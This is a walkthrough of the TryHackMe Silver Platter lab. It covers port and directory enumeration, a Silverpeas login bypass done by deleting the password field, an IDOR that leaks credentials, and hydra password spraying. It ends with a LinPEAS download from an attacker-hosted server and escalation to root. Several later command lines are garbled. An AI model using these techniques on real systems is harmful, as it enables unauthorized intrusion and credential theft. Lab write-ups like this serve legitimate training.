TryHackMe - Silver Platter Walkthrough A Practical Guide to Enumeration, Exploitation, and Privilege Escalation

Introduction and Setup

This walkthrough covers the TryHackMe Silver Platter room using Kali Linux as the attacker machine. We will enumerate, exploit, and escalate privileges on a vulnerable system. This course is by Tyler Rambsey from Simply Cyber, and this document summarizes key learnings with a focus on practical execution.

1 Phase 1: Setup and Enumeration

1.1 Starting the Machine and VPN Connection

Log in to TryHackMe and start the Silver Platter machine. Download your VPN configuration file from your profile under 'Access'. Navigate to the Downloads folder in a Kali Linux terminal and connect to the VPN.

```
kali:~$ sudo openvpn <your_vpn_file>.ovpn
```

1.2 Updating the Hosts File

Add an entry to the hosts file to refer to the target as `silverplatter.thm` instead of its IP address.

```
kali:~$ sudo nano /etc/hosts
```

Add the line:
$<\texttt{IP}_{ADDRESS} > silverplatter.thm$

1.3 Port Scanning with Nmap

Run a port scan to identify open ports and services.

```
kali:~$ nmap -sC -sV silverplatter.thm
```

Output:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
8080/tcp open  http-proxy
```

1.4 Alternative: Faster Scanning with Rustscan

For faster scanning with service detection:

```
kali:~$ rustscan -a silverplatter.thm -- -A
```

Output:

```
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
8080/tcp open  http-proxy syn-ack
```

1.5 Checking SSH Access

Since port 22 (SSH) is open, attempt to connect.

```
kali:~$ ssh root@silverplatter.thm
```

The SSH server prompts for a password, indicating password-based authentication.

1.6 Enumerating Web Server on Port 80

Use dirsearch to discover hidden directories on the web server.

```
kali:~$ dirsearch -u http://silverplatter.thm/
```

Output:

```
[20:38:11] Starting:
[20:38:24] 403 - 564B - /assets/
[20:38:24] 301 - 178B - /assets -> http://silverplatter.thm/assets/
[20:38:37] 403 - 564B - /images/
[20:38:37] 301 - 178B - /images -> http://silverplatter.thm/images/
[20:38:40] 200 - 17KB - /LICENSE.txt
[20:38:51] 200 - 771B - /README.txt
```

1.7 Virtual Host Fuzzing

Download a vhost fuzzing script from Taylor's GitHub, save it as vhost-fuzzer.sh, and make it executable.

```
kali:~$ chmod +x vhost-fuzzer.sh
```

Run the script to enumerate virtual hosts.

```
kali:~$ ./vhost-fuzzer.sh silverplatter.thm
   /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
   http://silverplatter.thm 1
```

2 Phase 2: Exploitation

2.1 Authentication Bypass (CVE)

The site runs Silverpeas, a vulnerable application. Using Burp Suite, intercept the login POST request and remove the password field to exploit an authentication bypass CVE.

Original POST:

```
Login=SilverAdmin&Password=SilverAdmin&DomainId=0
```

Bypassing Version:

```
Login=SilverAdmin&DomainId=0
```

This bypasses login without valid credentials.

2.2 Identifying an IDOR

After logging in, inspect the messages feature. Changing the message ID in the URL accesses another user's message, revealing credentials:

- **Username**: tim
- **Password**: cmOnt!mdOntforg3tth!spa$$w0rdagainlol

2.3 SSH Login with Found Credentials

Use the credentials to log into SSH.

```
kali:~$ ssh tim@silverplatter.thm
```

2.4 Password Spraying with Hydra

Generate a custom password list using cewl.

```
kali:~$ cewl http://silverplatter.thm/ > custom_passwords.txt
```

Use hydra to perform password spraying.

```
kali:~$ hydra -l scriptkiddy -P custom_passwords.txt
   silverplatter.thm -s 8080 http-post-form
   "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=
   or password incorrect"
```

Note: Use Turbo Intruder in Burp Suite to bypass rate-limiting for brute force attacks.

3 Phase 3: Privilege Escalation

3.1 Automated Enumeration with LinPEAS

Host a simple HTTP server on your attacker machine to serve LinPEAS.

```
kali:~$ python3 -m http.server 80
```

On the target machine, download and run LinPEAS.

```
tim@silverplatter*): wgethttp : //[attacker − ip]/linpeas.sh(∗@tim@silverplatter∗) :
chmod +x linpeas.sh(∗@tim@silverplatter∗): ./linpeas.sh
```

3.2 Password Discovery

LinPEAS finds a password in /var/log:
_zd_zx7N823/

3.3 Switching User

Use the discovered password to switch to the tyler user.

```
tim@silverplatter*): sutyler
```

3.4 Manual Privilege Checks

Check sudo permissions.

```
tyler@silverplatter*): sudo − l
```

Check current user ID.

```
tyler@silverplatter*): id
```

3.5 Escalating to Root

The tyler user has administrative rights. Escalate to root.

```
tyler@silverplatter*): sudosu(∗@root@silverplatter∗) : @whoami
```

Result: Root access granted, full control of the system.